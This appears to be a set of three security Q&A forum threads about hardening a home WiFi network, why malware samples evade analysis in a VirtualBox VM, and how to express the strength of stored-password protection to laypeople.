How to secure a WiFi network? What do I have to do to secure a WiFi network? Is there any best practices?

I have been recommended to use WPA2 encryption on the router, is that enough? What can I do to improve the security even more? Is it recommended to only allow specific MAC-addresses, or isn't that needed?

I have heard that if someone else set up a WiFi net with the same SSID and stronger signal strength, my computer will connect to that network instead of my own. What can I do to protect against that?

I take it when you say WPA2 you mean WPA2-Personal. It is good enough in most cases at the moment as long as its combined with a really good password. https://www.grc.com/passwords.htm is a good generator for them.
Disable Wi-Fi Protected Setup (WPS). Otherwise, an attacker only needs to break an 8 digit PIN -- and that is perfectly doable.
Cloak your SSID. It won't stop a determined attacker but will stop some of the script kiddie like attackers.
Only allowing specific MAC addresses can be a good step to manage user access. But once again won't really slow down a determined attacker, as they can just see what MAC addresses are currently connected to wireless in plain text anyway.
If possible a good tactic to reduce the chance of your WiFi being attacked is to position your wireless access point well so that the minimum amount of signal is broadcast outside of your building. That way the attacker needs to be closer to start the attack unless they have improved wireless antennas to grab from miles away.

Yes people can broadcast a stronger signal to try and get you to connect to them instead of your actual desired access point using tools like Karma. I don't know any specific ways to protect against this except not to allow any automatic associations instead each time you wish to connect to wireless, you should do it manually and verify you are connecting to the correct access point.


Why VirtualBox Windows 7 guest machine is not supporting malware analysis Recently, I downloaded some malware samples for incident response practice. Then I installed them in a VirtualBox Windows 7 guest machine, but they are not working properly.

I disabled anti-virus and firewall but they are not showing their behavior. Remember I am not talking about the trojan's network traffic.  What settings I have to enable in Windows 7 guest or VirtualBox to get my work done?

If I understood it right, you're trying to deliberately infect your VM but the malwares you downloaded don't seem to work properly.

Assuming you don't try to launch 64-bit malware in a 32-bit VM, or malware created for another edition or version of Windows, the most probable cause for me is that your malwares try to detect if they are running in a VM or on a computer that's used for actual work, and disabling themselves to avoid detection (mostly to make it harder for antivirus firms to detect and study them).

As an example, some malwares in the wild have recently been found to count Word documents in the current user's folder ; they assume that if this number is close to zero the computer is likely to be only a test machine, and they stop there.


Is there a civilian friendly indicator of stored password safety? As I understand it, by using one-way encryption we can protect stored password data in the event that they are stolen.  Broadly speaking, password data can  usually be cracked by guessing so the strength of the password protection could be measured as the computer time we would expect a brute force attack to take.

However, computation time isn't a good metric by itself because attacks can be parallelized and, more importantly, some encryption methods can be more easily parallelized than others.  "10 years" has a very different meaning depending on whether an attack is embarrassingly easy to parallelize or if it is very resistant to a parallel attack.

Assuming we know everything we can know (algorithm, quality of salt, password policy, iteration count, number of passwords, etc...) and we fix our assumptions about the techniques available to an attacker, then, is there a reasonable indicator of how well protected password data is in the hands of an attacker (even if it were only 'accurate' to a couple of orders of magnitude)?

E.g. is financial cost a reasonable metric?  Could an indication of "$1,000 per password cracked" very loosely estimate the protection of a password?  E.g. an attacker with massive resources might crack one every second while another might crack one every month but (within a couple of orders of magnitude) it costs each $1,000 per password.

If cost is no good at all, is there any metric that can be used to communicate to the layperson the relative strength of password protecting designs?

Financial cost is also not a good metric. Moore's law can be used to derive that chip performance would double every 18 months. This results in greater computational power at the same price, hence it might cost $1000 per password today, but it will be $250 per password in 3 years time.

In my opinion, time is still the best metric because it can be tied to your organization's password policy. If your observations are that the current password strength would require 10 years to brute force, and you are 80% confident of the accuracy of your estimate, then perhaps you might want to force your users to change their passwords at least once every 8 years. Even if your observation turns out to be incorrect due to hardware advancements and the password is cracked within the margin of error, your users are still safe since the passwords have long been changed.